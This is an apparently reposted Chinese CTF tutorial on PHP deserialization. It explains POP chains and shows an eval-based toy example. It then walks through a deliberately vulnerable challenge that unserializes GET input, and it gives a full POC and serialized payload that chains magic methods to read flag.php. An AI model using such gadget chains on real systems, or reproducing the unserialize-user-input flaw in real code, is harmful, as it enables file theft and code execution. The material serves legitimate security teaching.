iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTF-PHP反序列化漏洞3-构造POP链
  • 840
分享到

CTF-PHP反序列化漏洞3-构造POP链

php开发语言web安全反序列化漏洞pop链 2023-10-09 09:10:02 840人浏览 泡泡鱼
摘要

作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择PHP作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

  1. CTF-PHP反序列化漏洞1-基础知识
  2. phpstudy本地环境搭建图文教程
  3. CTF-PHP反序列化漏洞2-利用魔法函数

本文目录

1. POP链学习建议

实话实说,这部分的学习有些难度,特别对于没有编程基础的同学来说,有些难以理解。下面给出这部分学习的一些小tips:

  • 学习PHP Pop链需要具备一定的PHP编程和Web安全知识,并需要深入理解PHP的序列化机制和反序列化漏洞的原理。以下是一些学习PHP Pop链的建议:

    1. 学习PHP编程:学习PHP编程是学习PHP Pop链的基础,需要掌握PHP的基本语法和常用函数,了解PHP的面向对象编程和设计模式等。建议网上直接搜类似于菜鸟教程的网站学习5-7天即可。

    2. 学习Web安全知识:学习Web安全知识是理解PHP Pop链攻击原理的必要条件,需要了解Web应用的常见漏洞类型和攻击技术,如sql注入、XSS、CSRF、反序列化漏洞等。此部分详见我的专题系列文章《WEB安全0基础入门系列》,我个人强推,建议看完我的系列文章,再上官网阅读官方文档。

    3. 深入理解PHP序列化机制:PHP序列化是PHP Pop链攻击的基础,需要深入理解PHP的序列化机制,包括序列化格式、序列化函数和反序列化函数等。本系列文章已详细讲解CTF-PHP反序列化漏洞1-基础知识

    4. 学习PHP Pop链实例:学习PHP Pop链需要了解实际攻击中的Pop链构造方法和技巧,可以参考一些已知的PHP Pop链实例,如ysoserial、PHPGGC等。本篇文章和本系列后续文章

  • 实践练习:实践是学习PHP Pop链的关键,可以通过搭建实验环境、编写漏洞利用代码等方式进行实践练习,提升攻击技能和经验。环境搭建,参考本系列文章 phpstudy本地环境搭建图文教程

2. POP链的含义

它是⼀种⾯向属性编程,常⽤于构造调⽤链的⽅法。

PHP反序列化攻击是一种常见的Web攻击,攻击者通过构造恶意的序列化数据,将其传递给目标服务器,从而导致服务器执行非预期的操作。而Pop链则是一种利用PHP反序列化漏洞的攻击方式,可以在未授权的情况下执行任意代码。

Pop链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。Pop链通常是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。
在这里插入图片描述

Pop链的构造需要一定的技术水平,需要了解PHP的序列化机制和反序列化漏洞的原理。同时,攻击者还需要了解目标系统的环境和配置,才能选择合适的攻击方式。因此,Pop链攻击是一种高级的Web攻击技术,需要攻击者具备较高的技术水平和经验。

在题⽬中的代码⾥找到⼀系列能调⽤的指令,并将这些指令整合成⼀条有逻辑的能达到恶意攻击效果的代码,就是pop链。

反序列化是通过控制对象的属性从⽽实现控制程序的执⾏流程,进⽽达成利⽤本身⽆害的代码进⾏有害操作的⽬的。

也可以这样理解,构造⼀条完整的调⽤链,这条调⽤链与原来代码的调⽤链⼀致,不过部分属性被我们所控制,从⽽达到攻击⽬的。构造的这条链就是POP链。

3. POP链代码示例

下面是一个简单的PHP反序列化Pop链代码:

class A {    public $b;    public function __destruct() {        eval($this->b);    }}class B {    public $c;    public function __destruct() {        $this->c->__destruct();    }}class C {    public $cmd;}$cmd = 'echo "Hello, world!";';$c = new C();$c->cmd = $cmd;$b = new B();$b->c = $c;$a = new A();$a->b = serialize($b);$pop_chain = unserialize($a->b);?>

上述代码中,定义了三个类A、B和C,其中A类包含一个属性b,B类包含一个属性c,C类包含一个属性cmd。在A类的析构函数中,使用eval函数执行B类的属性c中的__destruct函数。在B类的析构函数中,调用C类的__destruct函数。最终,我们将C类的cmd属性设置为要执行的命令,并将B类序列化后赋值给A类的属性b,最终通过反序列化Pop链实现了执行指定命令的目的。

需要注意的是,这只是一个简单的示例代码,实际上构造Pop链需要更多的技术细节和实践经验。攻击者应该遵循合法的道德和法律规范,不得进行非法攻击和侵犯他人隐私的行为。

重点说明

POP链的构造就在于魔法函数的串联使用,在我的第一篇文章中有非常全面的总结和推荐文章,建议比对查看,事半功倍。

4. POP链经典例题(加深理解)

题目环境如何搭建,请参考之前的系列文章 phpstudy本地环境搭建图文教程
代码下方已提供,简单的建个php文件,和flag文件即可搭建题目环境。

//flag is in flag.phperror_reporting(1);class Read {   public $var;   public function file_get($value)  //Read类里的危险函数,能读取$value的内容并返回{  $text = base64_encode(file_get_contents($value));    return $text;}   public function __invoke(){     // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数 $content = $this->file_get($this->var); echo $content; }}class Show{ public $source; public $str;   public function __construct($file='index.php')  // 构造Show类实例时调用 { $this->source = $file; echo $this->source.'Welcome'."
"
; } public function __toString() // show类的对象被当作字符串处理时调⽤ { return $this->str['str']->source; } public function _show() { if(preg_match('/Gopher|Http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() //show类的对象反序列化时⾃动调⽤ { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker";$this->source = "index.php"; } }}class Test{ public $p; public function __construct() // 构造Test类实例时调用 { $this->p = array(); } public function __get($key) //获取Test类不存在或者不可访问的变量时⾃动调⽤ { $function = $this->p; return $function(); }}if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $show = new Show('pop3.php'); $show->_show();}
  • 解题思路
  1. 源码中魔法函数的作用详见备注,分析关键点如下
    • 反序列化唯一入口 __wakeup() //show类的对象反序列化时⾃动调⽤
    • 解题关键点 __wakeup() 里调用的函数 preg_match(参数A,参数B)
      参数B被当做字符串处理。这个流程会自动调用该类的魔法函数__toString()
    • 链终点危险函数__invoke()
  2. 分析完整思路如下:
// 1. 该题目中反序列调用的魔法方法,只找到一个方法。所以入口一定是Show#__wakeuppublic function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }// 2. preg_match 函数第⼆个参数为字符串类型,所以这⾥会将$this->source当作⼀个字符串处理。将触发触发 Show#__tostring()魔术⽅法public function __toString() //对象被当作字符串处理时调⽤ { return $this->str['str']->source; }// 3. Show#__toString()里的$this->str['str']->source的变量操作,这里可以触发Test#__get($key)魔术方法 public function __get($key) //获取不存在或者不可访问的变量时⾃动调⽤ { $function = $this->p; return $function();  }// 4. 调⽤$function这个⽅法、函数,也就是将 $this->p 成员变量当作函数来调⽤,这⾥可以触发 __invoke()这个魔术⽅法public function __invoke(){ //对象被当成函数处理时⾃动调⽤ $content = $this->file_get($this->var); //调⽤file_get⽅法 echo $content;}// 5. file_get⽅法可以读取任意⽂件,⽂件名为成员变量 $this->varpublic function file_get($value){ $text = base64_encode(file_get_contents($value)); return $text;}

最终构造的完整POP链(攻击链)如下:

hello -> Show__wakeup -> source -> Show.__toString -> (不存在属性)Test.__get() -> p ->Read.__invoke// hello是Show的对象,source是Show的对象,str['str']是test的对象,p是Read的对象
  1. 构造POC
class Read{    public $var='flag.php';}class Show{ public $source; public $str;}class Test{ public $p;}$show = new Show();$test = new Test();$read = new Read();$test->p=$read;$show->source=$show;$show->str['str']=$test;echo serialize($show);?>  // 结果// O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

总结
POP链:unserialize函数(变量可控)–>wakeup()魔术⽅法–>tostring()魔术⽅法–>get魔术⽅法–>invoke魔术⽅法–>触发Read类中的file_get⽅法–>触发file_get_contents函数读取flag.php

下篇文章将继续介绍pop链的相关题目,

来源地址:https://blog.csdn.net/eason612/article/details/130475629

--结束END--

本文标题: CTF-PHP反序列化漏洞3-构造POP链

本文链接: https://www.lsjlt.com/news/426137.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • CTF-PHP反序列化漏洞3-构造POP链
    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络...
    99+
    2023-10-09
    php 开发语言 web安全 反序列化漏洞 pop链
  • php反序列化漏洞之pop链
    目录 POP链简介 pop面向属性编程: pop chain pop链利用技巧 1、在pop链中出现的方法: 2、反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码 3、深浅copy 4、利用php伪协议 POP键构造复现: 例...
    99+
    2023-09-29
    安全 web安全
  • 一道php反序列化题的pop链构造
    题目地址为:GitHub - mcc0624/php_ser_Class: php反序列化靶场 点击进入如下题 题目代码如下,其中像套娃一样,多次对魔术方法进行调用,挺烧脑。根据题目,显然目标是echo $flag 像这种题,需要使...
    99+
    2023-09-04
    php反序列化题 ctf pop链构造
  • php反序列化pop链构造知识点有哪些
    本篇内容主要讲解“php反序列化pop链构造知识点有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“php反序列化pop链构造知识点有哪些”吧!pop链构造一般的反序列化题目,存在漏洞或者能注...
    99+
    2023-06-30
  • CTF-PHP反序列化漏洞1-基础知识
    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络...
    99+
    2023-09-05
    php 开发语言 CTF php反序列化 web安全
  • PHP 反序列化漏洞
    PHP反序列化漏洞在实际测试中出现的频率并不高,主要常出现在CTF中。 PHP序列化概述 PHP序列化函数: serialize:将PHP的数据,数组,对象等序列化为字符串unserialize:将序列化后的字符串反序列化为数据,数组,对...
    99+
    2023-09-01
    php web安全
  • 反序列化漏洞(PHP)
    反序列化漏洞 0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更...
    99+
    2023-09-03
    php web安全 安全
  • 【反序列化漏洞-02】PHP反序列化漏洞实验详解
    为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis,与数组类似)。以后,可以通过从存储区中...
    99+
    2023-09-21
    序列化 反序列化 PHP反序列化漏洞 PHP魔术方法 网络安全 Powered by 金山文档
  • CTF-PHP反序列化
    CTFSHOW-关卡254到258-原生类&POP构造 CTF-254-对象引用执行逻辑 username=xxxxxx&password=xxxxxx 解题思路:触发vipOneKeyGetFlag这个方法,同时让方法中的判断为真才能获...
    99+
    2023-09-22
    php java 开发语言
  • Ezpop pop序列化链反序列化知识
    <php //flag is in flag.php //WTF IS THIS //Learn From https://ctf.ieki.xyz/library/php.h...
    99+
    2024-04-02
  • thinkphp 反序列化漏洞
    文章目录 配置xdebug反序列化漏洞利用链详细分析poc1(任意文件删除)poc2(任意命令执行) 补充代码 配置xdebug php.ini [Xdebug]zend_ext...
    99+
    2023-09-04
    apache php 开发语言 web安全 网络安全
  • CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧
    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络...
    99+
    2023-09-06
    开发语言 php反序列化 ctf web安全
  • CTF之旅WEB篇(3)--ezunser PHP反序列化
    一、审题 对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路): ...
    99+
    2023-09-17
    php 其他 经验分享
  • Ezpop pop序列化链反序列化实例分析
    这篇文章主要介绍了Ezpop pop序列化链反序列化实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Ezpop pop序列化链反序列化实例分析文章都会有所收获,下面我们一起来看看吧。&...
    99+
    2023-06-30
  • 【反序列化漏洞-01】序列化与反序列化概述
    为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis,与数组类似)。以后,可以通过从存储区中...
    99+
    2023-09-06
    web安全 安全 反序列化 序列化 PHP反序列化漏洞 Powered by 金山文档
  • PHP的session反序列化漏洞分析
    这篇文章主要讲解了“PHP的session反序列化漏洞分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP的session反序列化漏洞分析”吧!PHP session反序列化漏洞PHP ...
    99+
    2023-06-30
  • 反序列化漏洞详解
    目录 一、什么是序列化和反序列化 二、什么是反序列化漏洞 三、序列化函数(serialize) 四、反序列化(unserialize) ​五、什么是PHP魔术方法 六、一些常见的魔术方法 七、魔术方法的利用  八、反序列化漏洞的利用 1._...
    99+
    2023-09-02
    web安全 安全 php
  • PHP反序列化漏洞怎么修复
    修复PHP反序列化漏洞可以采取以下措施: 检查并过滤用户输入:在反序列化之前,对用户输入进行严格的过滤和检查,只允许特定的类型和...
    99+
    2023-10-22
    PHP
  • PHP反序列化漏洞实例分析
    本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、PHP面向对象编程在面向对象的程序设计(Obje...
    99+
    2023-06-29
  • PHP反序列化漏洞基础概要
    目录 什么是反序列化漏洞? 序列化 serialize 反序列化 unserialize 常见魔法函数 反序列化漏洞防御 什么是反序列化漏洞? 反序列化又叫对象注入,漏洞产生是程序在处理对象、魔术函数以及序列化问...
    99+
    2023-09-06
    php 开发语言 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作